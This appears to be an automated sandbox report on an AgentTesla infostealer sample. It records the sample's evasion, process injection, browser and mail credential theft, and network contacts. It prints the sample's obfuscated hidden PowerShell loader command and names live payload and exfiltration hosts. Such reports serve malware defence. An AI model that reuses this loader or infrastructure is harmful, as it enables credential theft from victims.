Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\SysWOW64\msiexec.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6387			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3330			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7508

Thread sleep time: -5534023222112862s >= -30000s

Jump to behavior

Source: C:\Windows\SysWOW64\msiexec.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\SysWOW64\msiexec.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\SysWOW64\msiexec.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\24100311.EXE.exe	Code function: 0_2_00402902 FindFirstFileW,	0_2_00402902
Source: C:\Users\user\Desktop\24100311.EXE.exe	Code function: 0_2_0040689A FindFirstFileW,FindClose,	0_2_0040689A
Source: C:\Users\user\Desktop\24100311.EXE.exe	Code function: 0_2_00405C4E CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405C4E

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: msiexec.exe, 00000006.00000002.2931037935.0000000000709000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8j8j
Source: msiexec.exe, 00000006.00000002.2931037935.0000000000709000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2931037935.00000000006DA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\24100311.EXE.exe

API call chain: ExitProcess graph end node

graph_0-3779

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread information set: HideFromDebugger			Jump to behavior

Source: C:\Windows\SysWOW64\msiexec.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 1_2_00B0F348 LdrInitializeThunk,LdrInitializeThunk,

1_2_00B0F348

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process token adjusted: Debug			Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Early bird code injection technique detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process created / APC Queued / Resumed: C:\Windows\SysWOW64\msiexec.exe

Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread APC queued: target process: C:\Windows\SysWOW64\msiexec.exe

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\SysWOW64\msiexec.exe base: 3A40000

Jump to behavior

Source: C:\Users\user\Desktop\24100311.EXE.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden "$Forglemmelser=Get-Content -Raw 'C:\Users\user\AppData\Local\Decentraliseringers\misdidived\Unengrossing\Independable.Ovi';$Fellifluous=$Forglemmelser.SubString(7655,3);.$Fellifluous($Forglemmelser)"			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\syswow64\msiexec.exe"			Jump to behavior

Source: C:\Users\user\Desktop\24100311.EXE.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden "$forglemmelser=get-content -raw 'c:\users\user\appdata\local\decentraliseringers\misdidived\unengrossing\independable.ovi';$fellifluous=$forglemmelser.substring(7655,3);.$fellifluous($forglemmelser)"
Source: C:\Users\user\Desktop\24100311.EXE.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden "$forglemmelser=get-content -raw 'c:\users\user\appdata\local\decentraliseringers\misdidived\unengrossing\independable.ovi';$fellifluous=$forglemmelser.substring(7655,3);.$fellifluous($forglemmelser)"			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\SysWOW64\msiexec.exe VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\24100311.EXE.exe

0_2_004035D8

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000006.00000002.2947539010.0000000021FB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2947539010.0000000021FF7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: msiexec.exe PID: 7860, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior

Source: Yara match	File source: 00000006.00000002.2947539010.0000000021FB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: msiexec.exe PID: 7860, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000006.00000002.2947539010.0000000021FB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2947539010.0000000021FF7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: msiexec.exe PID: 7860, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Obfuscated Files or Information	1 OS Credential Dumping	3 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	1 Exfiltration Over Alternative Protocol	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 Access Token Manipulation	1 Software Packing	LSASS Memory	24 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	311 Process Injection	1 DLL Side-Loading	Security Account Manager	221 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Masquerading	NTDS	1 Process Discovery	Distributed Component Object Model	1 Clipboard Data	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	241 Virtualization/Sandbox Evasion	LSA Secrets	241 Virtualization/Sandbox Evasion	SSH	Keylogging	23 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Access Token Manipulation	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	311 Process Injection	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
24100311.EXE.exe	11%	ReversingLabs	Win32.Trojan.InjectorX
24100311.EXE.exe	15%	Virustotal		Browse
24100311.EXE.exe	100%	Avira	HEUR/AGEN.1331786

Source	Detection	Scanner	Label	Link
ftp.rusticpensiune.ro	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://nsis.sf.net/NSIS_ErrorError	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Virustotal		Browse
https://github.com/Pester/Pester	1%	Virustotal		Browse
https://www.corella.ro/	0%	Virustotal		Browse
http://ftp.rusticpensiune.ro	1%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
corella.ro	109.73.128.91	true	false		unknown
ftp.rusticpensiune.ro	185.146.87.128	true	true	1%, Virustotal, Browse	unknown
www.corella.ro	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.corella.ro/bazyland/whwWkpNOyoMrBlLiWEjvE44.bin	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000001.00000002.2042824173.0000000005ABC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.corella.ro/D5	msiexec.exe, 00000006.00000002.2931037935.00000000006EE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000001.00000002.2040294187.0000000004BA6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.corella.ro/	msiexec.exe, 00000006.00000002.2931037935.00000000006EE000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000001.00000002.2040294187.0000000004BA6000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://www.corella.ro/bazyland/whwWkpNOyoMrBlLiWEjvE44.binA	msiexec.exe, 00000006.00000002.2931037935.00000000006EE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contoso.com/	powershell.exe, 00000001.00000002.2042824173.0000000005ABC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000001.00000002.2042824173.0000000005ABC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 00000001.00000002.2042824173.0000000005ABC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000001.00000002.2042824173.0000000005ABC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.corella.ro/bazyland/whwWkpNOyoMrBlLiWEjvE44.binKokisUrawww.creditesimplebm.ro/tmp-image/	msiexec.exe, 00000006.00000002.2946495620.0000000021670000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://nsis.sf.net/NSIS_ErrorError	24100311.EXE.exe	false	URL Reputation: safe	unknown
http://ftp.rusticpensiune.ro	msiexec.exe, 00000006.00000002.2947539010.0000000022005000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2947539010.0000000021FF7000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000001.00000002.2040294187.0000000004A51000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2947539010.0000000021FF7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/pscore6lBtq	powershell.exe, 00000001.00000002.2040294187.0000000004A51000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/Pester/Pester	powershell.exe, 00000001.00000002.2040294187.0000000004BA6000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
109.73.128.91	corella.ro	Spain		49674	DJEMBA-ASRO	false
185.146.87.128	ftp.rusticpensiune.ro	Romania		5588	GTSCEGTSCentralEuropeAntelGermanyCZ	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1524867
Start date and time:	2024-10-03 10:50:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 22s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	24100311.EXE.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@17/14@2/2
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 94% Number of executed functions: 124 Number of non-executed functions: 38
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target msiexec.exe, PID 7860 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7372 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
04:50:59	API Interceptor	39x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
185.146.87.128	LisectAVT_2403002A_35.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse
	COMANDA_AXM_NR17_DIN_240717.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse
	ZAMOWIEN.EXE.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse
	ZAMOWIEN.EXE.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse
	ZAMOWIEN.EXE.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse
	BESTELLU.EXE.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse
	Ordine_nr.24061168372.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse
	ZAMOWIEN.EXE.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse
	ZAMOWIEN.EXE.exe	Get hash	malicious	AgentTesla, DBatLoader	Browse
	CCTC_PO_N.24042291PDF.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ftp.rusticpensiune.ro	LisectAVT_2403002A_35.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	185.146.87.128
	COMANDA_AXM_NR17_DIN_240717.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	185.146.87.128
